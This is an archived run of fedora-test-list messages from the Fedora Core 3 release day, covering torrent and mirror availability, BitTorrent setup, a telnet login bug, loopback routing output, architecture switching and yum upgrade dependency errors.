fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From mhaney at interactsys.com Mon Nov 8 15:35:00 2004 From: mhaney at interactsys.com (Mark Haney) Date: Mon, 08 Nov 2004 10:35:00 -0500 Subject: A big Thank you. Message-ID: <1099928100.4369.18.camel@marius.asheville.interact> I just wanted to say 'Thank you' for all of your hard work in getting this release out. All of you who do the majority of the grunt work deserve all the praise you can get for this effort. Please, keep up the great work. -------------------------------------- Mark Haney Network Administrator InterAct Public Safety Systems mhaney at interactsys.com Fedora Core release 2 (Tettnang) Kernel: 2.6.8-1.521 GNU/Linux 10:33:46 up 1:27, 2 users, load average: 2.61, 2.58, 2.22 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From balay at fastmail.fm Mon Nov 8 15:37:26 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 8 Nov 2004 09:37:26 -0600 (CST) Subject: FC3 ISOs alerady online? In-Reply-To: <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> Message-ID: On Mon, 8 Nov 2004, Dragos Popescu wrote: > Hi, > > Try http://66.90.75.92/suprnova//torrents/2970/FC3_i386_CD1-4.torrent Someone posted yesterday saing supornova MD5SUM matches FC3RC5 Satish From maze at cela.pl Mon Nov 8 15:40:44 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Mon, 8 Nov 2004 16:40:44 +0100 (CET) Subject: FC3 ISOs alerady online? In-Reply-To: <1099922940.3384.134.camel@localhost.localdomain> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: Thanks to all of you for this release, can't wait to get my grubby hands on it and get 6 FC2 computers upgraded. It would seem that the duke torrents are already online... and my local mirror seems to have opened as well (it had the directory for a long time, but I just noticed the access rights have changed to finally allow downloads) any folks interested in jigdo'ing this release, if not then I'll probably do it...? Cheers, MaZe. On Mon, 8 Nov 2004, Rodolfo J. Paiz wrote: > On Mon, 2004-11-08 at 10:49 +0100, kyrre at solution-forge.net wrote: > > When will the "official" release be? (GMT) > > And which ftp's are those? > > > > Official release is today, 8/nov, at 8pm GMT. IIRC. > > From balay at fastmail.fm Mon Nov 8 15:44:38 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 8 Nov 2004 09:44:38 -0600 (CST) Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: On Mon, 8 Nov 2004, [ISO-8859-2] Maciej {enczykowski wrote: > It would seem that the duke torrents are already online... Also the eurpoean torrent (posted on fedora-list) http://sunsite.mff.cuni.cz/fedora-torrent/ Satish From maze at cela.pl Mon Nov 8 15:59:47 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Mon, 8 Nov 2004 16:59:47 +0100 (CET) Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: I don't understand why there's a second torrent/tracker doesn't bittorrent work better when there are more people using it? shouldn't everybody be using the same torrent? Cheers, MaZe. On Mon, 8 Nov 2004, Satish Balay wrote: > > > On Mon, 8 Nov 2004, [ISO-8859-2] Maciej {enczykowski wrote: > > > It would seem that the duke torrents are already online... > > Also the eurpoean torrent (posted on fedora-list) > > http://sunsite.mff.cuni.cz/fedora-torrent/ > > Satish > > From harald at redhat.com Mon Nov 8 16:04:43 2004 From: harald at redhat.com (Harald Hoyer) Date: Mon, 08 Nov 2004 17:04:43 +0100 Subject: telnet server problem In-Reply-To: <001a01c4c510$c0bb5e70$0200a8c0@dragonfly> References: <001a01c4c510$c0bb5e70$0200a8c0@dragonfly> Message-ID: <418F991B.1060509@redhat.com> jqian wrote: > Hi, I'm encountering a problem I've never had before after install > Fedora Core 3 test3: > I enable the telnet server, and it runs as part of xinetd. But when I > try logging in, the server doesn't give me an opportunity to enter a > username; the "Login:" prompt doesn't appear. All that happens is three > messages of "Login incorrect" in quick succession. > > When I examine /var/log/secure, the logs have > "login: FAILED LOGIN SESSION FROM 192.168.0.2 FOR (null), Authentication > failure" > So apparently the server compeletely ignores me having to type a > username for it. This problem occurs when i trying telnetting to > localhost also. > > What would be the problem here? I don't have a very good knowledge of > the new permissions from such things like SELinux, so could these have > something to do with it? > > Thanks > You do not want to login as "root", do you? -------------- next part -------------- A non-text attachment was scrubbed... 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Regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From skvidal at phy.duke.edu Mon Nov 8 16:10:03 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 08 Nov 2004 11:10:03 -0500 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: <1099930202.15004.2.camel@opus.phy.duke.edu> On Mon, 2004-11-08 at 10:59, Maciej ?enczykowski wrote: > I don't understand why there's a second torrent/tracker > > doesn't bittorrent work better when there are more people using it? > shouldn't everybody be using the same torrent? intercontinental traffic becomes laggy and you can't distinguish b/t one and the other when in a torrent. -sv From whooperhsd3 at earthlink.net Mon Nov 8 16:21:55 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Mon, 8 Nov 2004 11:21:55 -0500 (EST) Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: <4989.12.29.16.103.1099930915.squirrel@whooper.org> Maciej ?enczykowski said: > I don't understand why there's a second torrent/tracker > > > doesn't bittorrent work better when there are more people using it? > shouldn't everybody be using the same torrent? In theory, yes everybody should be using the same torrent. In practice, though, having a torrent for two geographical locations (one Americas, one Europe) prevents your torrent client from having to go over the slow, across the ocean links. It makes more sense for people in the Americas to connect to peers in the Americas and people in Europe to connect to peers in Europe. I guess if you don't fall into either of those categories you just use which ever is faster for you. -- William Hooper From reader at newsguy.com Mon Nov 8 16:20:36 2004 From: reader at newsguy.com (Harry Putnam) Date: Mon, 08 Nov 2004 10:20:36 -0600 Subject: Loopback no show Message-ID: kernel-2.6.9-1.667 Hopefully I've just missed a discussion about this but looking back I don't notice one. netstat -nr no longer shows a loopback device: Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth1 0.0.0.0 192.168.0.20 0.0.0.0 UG 0 0 0 eth1 Is this normal? From jreiser at BitWagon.com Mon Nov 8 16:24:56 2004 From: jreiser at BitWagon.com (John Reiser) Date: Mon, 08 Nov 2004 08:24:56 -0800 Subject: phony FC3-final torrents In-Reply-To: <20041108160911.GA30062@srv01.cluenet.de> References: <1099894136.24128.26.camel@va.local.linuxlobbyist.org> <20041108160911.GA30062@srv01.cluenet.de> Message-ID: <418F9DD8.4000900@BitWagon.com> > http://torrent.linux.duke.edu/ has the final FC3 now. But the instructions on that page are out-of-date: --url http://torrent.dulug.duke.edu/$torrent-filename-from-above-here ^^^^^ linux -- From skvidal at phy.duke.edu Mon Nov 8 16:27:25 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 08 Nov 2004 11:27:25 -0500 Subject: phony FC3-final torrents In-Reply-To: <418F9DD8.4000900@BitWagon.com> References: <1099894136.24128.26.camel@va.local.linuxlobbyist.org> <20041108160911.GA30062@srv01.cluenet.de> <418F9DD8.4000900@BitWagon.com> Message-ID: <1099931245.15004.6.camel@opus.phy.duke.edu> On Mon, 2004-11-08 at 11:24, John Reiser wrote: > > http://torrent.linux.duke.edu/ has the final FC3 now. > > But the instructions on that page are out-of-date: > --url http://torrent.dulug.duke.edu/$torrent-filename-from-above-here > ^^^^^ > linux It's the same site. -sv From tolan at bgz-consultants.com Mon Nov 8 16:28:07 2004 From: tolan at bgz-consultants.com (Tolan Blundell) Date: Mon, 08 Nov 2004 16:28:07 +0000 Subject: 'Upgrade' from FC2 x86_64 to FC3 x86? Message-ID: <418F9E97.7060105@bgz-consultants.com> [Resending as a list member, apologies if this dupes...] Hi, I suspect I'm going to be met with howls of derision, but I just thought I'd double check, before scrubbing my system, whether it might be possible to move from x86_64 FC2 to plain old x86 FC3? I want to go back to x86 because compiling some stuff for x86_64 is a pain, apparently impossible in some situations, and all the proprietary stuff like the Flash plugin, and windows codecs for mplayer mean I spend much more time than I can afford m aintaining my system.. Thanks in advance, Tolan. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From glimberg at gmail.com Mon Nov 8 15:30:41 2004 From: glimberg at gmail.com (Grant Limberg) Date: Mon, 8 Nov 2004 09:30:41 -0600 Subject: FC3 ISOs alerady online? In-Reply-To: <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> Message-ID: <848adeb2041108073055f48ec1@mail.gmail.com> http://torrent.dulug.duke.edu/ now has the FC3 torrents online On Mon, 8 Nov 2004 16:30:18 +0200 (EET), Dragos Popescu wrote: > Hi, > > Try http://66.90.75.92/suprnova//torrents/2970/FC3_i386_CD1-4.torrent > :D > > Dragos Popescu > > > > > > On Mon, 2004-11-08 at 10:49 +0100, kyrre at solution-forge.net wrote: > >> When will the "official" release be? (GMT) > >> And which ftp's are those? > >> > > > > Official release is today, 8/nov, at 8pm GMT. IIRC. > > > > -- > > Rodolfo J. Paiz > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- Grant Limberg GPG Key: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x82BCA45A From dr at cluenet.de Mon Nov 8 16:36:53 2004 From: dr at cluenet.de (Daniel Roesen) Date: Mon, 8 Nov 2004 17:36:53 +0100 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: <4989.12.29.16.103.1099930915.squirrel@whooper.org> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <4989.12.29.16.103.1099930915.squirrel@whooper.org> Message-ID: <20041108163653.GA30747@srv01.cluenet.de> On Mon, Nov 08, 2004 at 11:21:55AM -0500, William Hooper wrote: > > doesn't bittorrent work better when there are more people using it? > > shouldn't everybody be using the same torrent? > > In theory, yes everybody should be using the same torrent. In practice, > though, having a torrent for two geographical locations (one Americas, one > Europe) prevents your torrent client from having to go over the slow, > across the ocean links. The problem are not "slow transoceanic links" per se as I hardly experience any congestion issue on those nowadays. The problem is the delay those longhaul links generate, and thus limit TCP performance massively. Ever seen FTP with more than about 3mbit/s transatlantic? No? This is NOT because of a lack of bandwidth! So the aim of seperating trackers is not avoiding small bandwidth links, but high RTT (delay) links, which directly affects TCP performance. Best regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From alan at redhat.com Mon Nov 8 16:45:21 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 8 Nov 2004 11:45:21 -0500 Subject: 'Upgrade' from FC2 x86_64 to FC3 x86? In-Reply-To: <418F9E97.7060105@bgz-consultants.com> References: <418F9E97.7060105@bgz-consultants.com> Message-ID: <20041108164521.GA19161@devserv.devel.redhat.com> On Mon, Nov 08, 2004 at 04:28:07PM +0000, Tolan Blundell wrote: > I'd double check, before scrubbing my system, whether it might be > possible to move from x86_64 FC2 to plain old x86 FC3? Not easily > I want to go back to x86 because compiling some stuff for x86_64 is a > pain, apparently impossible in some situations, and all the proprietary > stuff like the Flash plugin, and windows codecs for mplayer mean I spend > much more time than I can afford m aintaining my system.. So compile them 32bit or use the 32bit packages for those programs. From tolan at bgz-consultants.com Mon Nov 8 16:59:38 2004 From: tolan at bgz-consultants.com (Tolan Blundell) Date: Mon, 08 Nov 2004 16:59:38 +0000 Subject: 'Upgrade' from FC2 x86_64 to FC3 x86? In-Reply-To: <20041108164521.GA19161@devserv.devel.redhat.com> References: <418F9E97.7060105@bgz-consultants.com> <20041108164521.GA19161@devserv.devel.redhat.com> Message-ID: <418FA5FA.80500@bgz-consultants.com> Alan Cox wrote: > On Mon, Nov 08, 2004 at 04:28:07PM +0000, Tolan Blundell wrote: >>I'd double check, before scrubbing my system, whether it might be >>possible to move from x86_64 FC2 to plain old x86 FC3? > > Not easily Figured. Thanks. >>I want to go back to x86 because compiling some stuff for x86_64 is a >>pain, apparently impossible in some situations, and all the proprietary >>stuff like the Flash plugin, and windows codecs for mplayer mean I spend >>much more time than I can afford m aintaining my system.. > > So compile them 32bit or use the 32bit packages for those programs. > I've had quite a lot of problems getting 32-bit packages to work to be honest, particularly ones that depend on GTK2, I get missing pixmaps, and lots of errors about loaders, amongst other things. The packages install happily enough but then don't actually work. Don't get me wrong, I'm not saying there's anything wrong with x86_64 Fedora, just that the extra work of thinking about two architectures isn't worth the performance gain for me at the moment. Tolan. -------------- next part -------------- A non-text attachment was scrubbed... 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This problem occurs when i trying telnetting to >>localhost also. >> >>What would be the problem here? I don't have a very good knowledge of >>the new permissions from such things like SELinux, so could these have >>something to do with it? Harald Hoyer wrote: > You do not want to login as "root", do you? I believe he said he was not even allowed to enter a username. I've seen this as well. Before the flames about telnet vs ssh start up, there are many legacy systems/devices in use that do not support ssh (and they never will), so telnet access is still sometimes necessary... I have seen the problem he reported occur even when SELinux is disabled. ron From ad+lists at uni-x.org Mon Nov 8 17:17:06 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Mon, 08 Nov 2004 18:17:06 +0100 Subject: Loopback no show In-Reply-To: References: Message-ID: <1099934226.589.341.camel@serendipity.dogma.lan> Am Mo, den 08.11.2004 schrieb Harry Putnam um 17:20: > kernel-2.6.9-1.667 > Hopefully I've just missed a discussion about this but looking back I > don't notice one. > > netstat -nr no longer shows a loopback device: > Is this normal? Yes, this is already the case with Fedora Core 2. If I am right the 2.6 kernel does loopback internally without help of a specific route. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 18:15:48 up 19 days, 15:55, load average: 0.86, 0.61, 0.34 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From m_epling at comcast.net Mon Nov 8 16:39:29 2004 From: m_epling at comcast.net (AMAZING POWERS OF OBSERVATION) Date: Mon, 08 Nov 2004 10:39:29 -0600 Subject: FC3 ISOs alerady online? In-Reply-To: <848adeb2041108073055f48ec1@mail.gmail.com> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> <848adeb2041108073055f48ec1@mail.gmail.com> Message-ID: <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> i think illl wait for the ftp sites On Mon, 2004-11-08 at 09:30 -0600, Grant Limberg wrote: > http://torrent.dulug.duke.edu/ now has the FC3 torrents online > > > On Mon, 8 Nov 2004 16:30:18 +0200 (EET), Dragos Popescu > wrote: > > Hi, > > > > Try http://66.90.75.92/suprnova//torrents/2970/FC3_i386_CD1-4.torrent > > :D > > > > Dragos Popescu > > > > > > > > > > > On Mon, 2004-11-08 at 10:49 +0100, kyrre at solution-forge.net wrote: > > >> When will the "official" release be? (GMT) > > >> And which ftp's are those? > > >> > > > > > > Official release is today, 8/nov, at 8pm GMT. IIRC. > > > > > > -- > > > Rodolfo J. Paiz > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > -- > Grant Limberg > GPG Key: > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x82BCA45A > From sopwith at redhat.com Mon Nov 8 17:28:20 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 8 Nov 2004 12:28:20 -0500 (EST) Subject: FC3 ISOs alerady online? In-Reply-To: <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> <848adeb2041108073055f48ec1@mail.gmail.com> <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> Message-ID: On Mon, 8 Nov 2004, AMAZING POWERS OF OBSERVATION wrote: > i think illl wait for the ftp sites torrent downloading is going to be faster and more reliable. Using it also helps others get the release faster. I strongly recommend using BitTorrent if at all possible. -- Elliot > On Mon, 2004-11-08 at 09:30 -0600, Grant Limberg wrote: > > http://torrent.dulug.duke.edu/ now has the FC3 torrents online From bavinic at comcast.net Mon Nov 8 17:34:08 2004 From: bavinic at comcast.net (Jim Martin) Date: Mon, 08 Nov 2004 12:34:08 -0500 Subject: FC3 ISOs alerady online? In-Reply-To: References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> <848adeb2041108073055f48ec1@mail.gmail.com> <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> Message-ID: <418FAE10.7030906@comcast.net> Elliot Lee wrote: >On Mon, 8 Nov 2004, AMAZING POWERS OF OBSERVATION wrote: > > > >> i think illl wait for the ftp sites >> >> > >torrent downloading is going to be faster and more reliable. Using it also >helps others get the release faster. > >I strongly recommend using BitTorrent if at all possible. >-- Elliot > > > >>On Mon, 2004-11-08 at 09:30 -0600, Grant Limberg wrote: >> >> >>>http://torrent.dulug.duke.edu/ now has the FC3 torrents online >>> >>> > > > Sorry if this sounds like a noob question, but I have never used Bit torrents before, do I need a program for that? or is it something already built in? I have plenty of bandwwidth and would be happy to share what I have for others to get it faster ( fc3 that is) any help would be great. Thanks, BaVinic From thepoch at gmail.com Mon Nov 8 17:37:59 2004 From: thepoch at gmail.com (Dexter Ang) Date: Tue, 9 Nov 2004 01:37:59 +0800 Subject: FC3 ISOs alerady online? In-Reply-To: <418FAE10.7030906@comcast.net> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> <848adeb2041108073055f48ec1@mail.gmail.com> <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> <418FAE10.7030906@comcast.net> Message-ID: On Mon, 08 Nov 2004 12:34:08 -0500, Jim Martin wrote: > Sorry if this sounds like a noob question, but I have never used Bit > torrents before, do I need a program for that? or is it something > already built in? I have plenty of bandwwidth and would be happy to > share what I have for others to get it faster ( fc3 that is) any help > would be great. > > Thanks, > > BaVinic BitTorrent is a P2P app. It's available from the fedora.us repositories (bittorrent and, if you want bittorrent-gui). Official page is at http://bittorrent.com/ which includes clients for other OSes. Usage is fairly easy. You can download the .torrent file or not. And to download point the client to the .torrent file. Then to share, just keep the client up for as long as you wish. dex From sopwith at redhat.com Mon Nov 8 17:39:39 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 8 Nov 2004 12:39:39 -0500 (EST) Subject: FC3 ISOs alerady online? In-Reply-To: <418FAE10.7030906@comcast.net> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> <848adeb2041108073055f48ec1@mail.gmail.com> <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> <418FAE10.7030906@comcast.net> Message-ID: On Mon, 8 Nov 2004, Jim Martin wrote: > Sorry if this sounds like a noob question, but I have never used Bit > torrents before, do I need a program for that? or is it something > already built in? I have plenty of bandwwidth and would be happy to > share what I have for others to get it faster ( fc3 that is) any help > would be great. Good question. You do need the BitTorrent client software installed. If you go to http://torrent.linux.duke.edu/ you can see instructions for setting it up. If you're using Fedora Core 2, visit http://download.fedora.us/fedora/fedora/2/i386/RPMS.stable/ and download+install the bittorrent packages. If you're using another OS, visit http://bittorrent.com/download.html Cheers, -- Elliot From fiveacres at stardel.com Mon Nov 8 17:46:28 2004 From: fiveacres at stardel.com (Elaine Normandy) Date: Mon, 08 Nov 2004 10:46:28 -0700 Subject: Any advantage to downloading newly released isos if using FC3RC5 Message-ID: <418FB0F4.5080500@stardel.com> I did an install (not an upgrade) of Fedora Core 3 Release Candidate 5. Is there any reason to download the iso's released today? I am doing a yum update as I write. -- Elaine Normandy Weblog: http://www.stardel.com/fiveacres/ From philip at balister.org Mon Nov 8 17:45:32 2004 From: philip at balister.org (Philip Balister) Date: Mon, 08 Nov 2004 12:45:32 -0500 Subject: FC3 ISOs alerady online? In-Reply-To: <418FAE10.7030906@comcast.net> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> <848adeb2041108073055f48ec1@mail.gmail.com> <1099931970.13641.0.camel@x1-6-00-0a-e6-c7-6f-d8> <418FAE10.7030906@comcast.net> Message-ID: <1099935931.10074.12.camel@localhost.localdomain> You'll need some software: http://bittorrent.com/ I use btdownloadcurses and leave it running in a screen session. Philip On Mon, 2004-11-08 at 12:34, Jim Martin wrote: > Elliot Lee wrote: > > >On Mon, 8 Nov 2004, AMAZING POWERS OF OBSERVATION wrote: > > > > > > > >> i think illl wait for the ftp sites > >> > >> > > > >torrent downloading is going to be faster and more reliable. Using it also > >helps others get the release faster. > > > >I strongly recommend using BitTorrent if at all possible. > >-- Elliot > > > > > > > >>On Mon, 2004-11-08 at 09:30 -0600, Grant Limberg wrote: > >> > >> > >>>http://torrent.dulug.duke.edu/ now has the FC3 torrents online > >>> > >>> > > > > > > > Sorry if this sounds like a noob question, but I have never used Bit > torrents before, do I need a program for that? or is it something > already built in? I have plenty of bandwwidth and would be happy to > share what I have for others to get it faster ( fc3 that is) any help > would be great. > > Thanks, > > BaVinic From greg at gulik.org Mon Nov 8 17:48:41 2004 From: greg at gulik.org (Gregory Gulik) Date: Mon, 08 Nov 2004 11:48:41 -0600 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FB0F4.5080500@stardel.com> References: <418FB0F4.5080500@stardel.com> Message-ID: <418FB179.3020900@gulik.org> Is there a way to upgrade "cleanly" to FC3 final??? I just tried a yum -y update on a FC3T3 box and got a bunch of missing dependencies: . . . --> Running transaction check --> Processing Dependency: python-abi= 2.3 for package: pyparted --> Processing Dependency: python-abi= 2.3 for package: system-config-printer --> Processing Dependency: python-abi= 2.3 for package: alchemist --> Processing Dependency: python< 0:2.4 for package: python-ldap --> Processing Dependency: /usr/lib/python2.3 for package: libxml2-python Importing Additional filelist information for depresolution filelists.xml.gz 100% |=========================| 2.8 MB 04:24 MD Read : ################################################## 3558/3558 developmen: ################################################## 3558/3558 --> Finished Dependency Resolution Error: missing dep: python-abi for pkg pyparted Error: missing dep: python-abi for pkg system-config-printer Error: missing dep: python-abi for pkg alchemist Error: missing dep: python for pkg python-ldap Error: missing dep: /usr/lib/python2.3 for pkg libxml2-python I know with FC2 there were issues with upgrading using up2date so I ended up using the DVD to do a system upgrade. Elaine Normandy wrote: > > I did an install (not an upgrade) of Fedora Core 3 Release Candidate 5. > Is there any reason to download the iso's released today? I am doing a > yum update as I write. > -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From jspaleta at gmail.com Mon Nov 8 17:23:56 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 8 Nov 2004 12:23:56 -0500 Subject: telnet server problem In-Reply-To: <418FA849.2050008@adtran.com> References: <418F991B.1060509@redhat.com> <418FA849.2050008@adtran.com> Message-ID: <604aa791041108092346420560@mail.gmail.com> On Mon, 08 Nov 2004 11:09:29 -0600, RON FLORY wrote: > I have seen the problem he reported occur even when SELinux is > disabled. did you file a bugreport when it was occuring? I can't reproduce this on my test box, and ive not seen anything obvious in bugzilla that looks related. this might have existed at some point, and later fixed by a development tree update...but afaict it was never reported in bugzilla, but my bugfoo might no longer be as strong as it was and i missed it in my searches. Regardless the issue is pretty moot now if its only observable when running a test release. I encourage to retest this issue on a fresh fc3 install and report into bugzilla if its still occuring. -jef From douglas.furlong at firebox.com Mon Nov 8 17:54:53 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Mon, 08 Nov 2004 17:54:53 +0000 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FB179.3020900@gulik.org> References: <418FB0F4.5080500@stardel.com> <418FB179.3020900@gulik.org> Message-ID: <418FB2ED.4030101@firebox.com> Gregory Gulik wrote: > > Is there a way to upgrade "cleanly" to FC3 final??? > I just tried a yum -y update on a FC3T3 box and got a bunch of missing > dependencies: > > . > . > . > --> Running transaction check > --> Processing Dependency: python-abi= 2.3 for package: pyparted > --> Processing Dependency: python-abi= 2.3 for package: > system-config-printer > --> Processing Dependency: python-abi= 2.3 for package: alchemist > --> Processing Dependency: python< 0:2.4 for package: python-ldap > --> Processing Dependency: /usr/lib/python2.3 for package: libxml2-python > Importing Additional filelist information for depresolution > filelists.xml.gz 100% |=========================| 2.8 MB > 04:24 > MD Read : ################################################## 3558/3558 > developmen: ################################################## 3558/3558 > --> Finished Dependency Resolution > Error: missing dep: python-abi for pkg pyparted > Error: missing dep: python-abi for pkg system-config-printer > Error: missing dep: python-abi for pkg alchemist > Error: missing dep: python for pkg python-ldap > Error: missing dep: /usr/lib/python2.3 for pkg libxml2-python > > > I know with FC2 there were issues with upgrading using up2date so I > ended up using the DVD to do a system upgrade. A silly question but... Have you commented the Development branch, and uncommented the fedora, and fedora updates section? From brian at networklifeline.net Mon Nov 8 18:03:38 2004 From: brian at networklifeline.net (Brian Callahan) Date: Mon, 8 Nov 2004 11:03:38 -0700 Subject: Any advantage to downloading newly released isos if using FC3RC5 Message-ID: <20041108180338.4857.qmail@webmail01.mesa1.secureserver.net> OK I want to try the yum upgrade from FC3T3 to FC Final also. What are the steps ? What files do I have to edit ? BC > -------- Original Message -------- > Subject: Re: Any advantage to downloading newly released isos if using > FC3RC5 > From: "Douglas Furlong" > Date: Mon, November 08, 2004 12:54 pm > To: "For testers of Fedora Core development releases" > > > Gregory Gulik wrote: > > > > > Is there a way to upgrade "cleanly" to FC3 final??? > > I just tried a yum -y update on a FC3T3 box and got a bunch of missing > > dependencies: > > > > . > > . > > . > > --> Running transaction check > > --> Processing Dependency: python-abi= 2.3 for package: pyparted > > --> Processing Dependency: python-abi= 2.3 for package: > > system-config-printer > > --> Processing Dependency: python-abi= 2.3 for package: alchemist > > --> Processing Dependency: python< 0:2.4 for package: python-ldap > > --> Processing Dependency: /usr/lib/python2.3 for package: libxml2-python > > Importing Additional filelist information for depresolution > > filelists.xml.gz 100% |=========================| 2.8 MB > > 04:24 > > MD Read : ################################################## 3558/3558 > > developmen: ################################################## 3558/3558 > > --> Finished Dependency Resolution > > Error: missing dep: python-abi for pkg pyparted > > Error: missing dep: python-abi for pkg system-config-printer > > Error: missing dep: python-abi for pkg alchemist > > Error: missing dep: python for pkg python-ldap > > Error: missing dep: /usr/lib/python2.3 for pkg 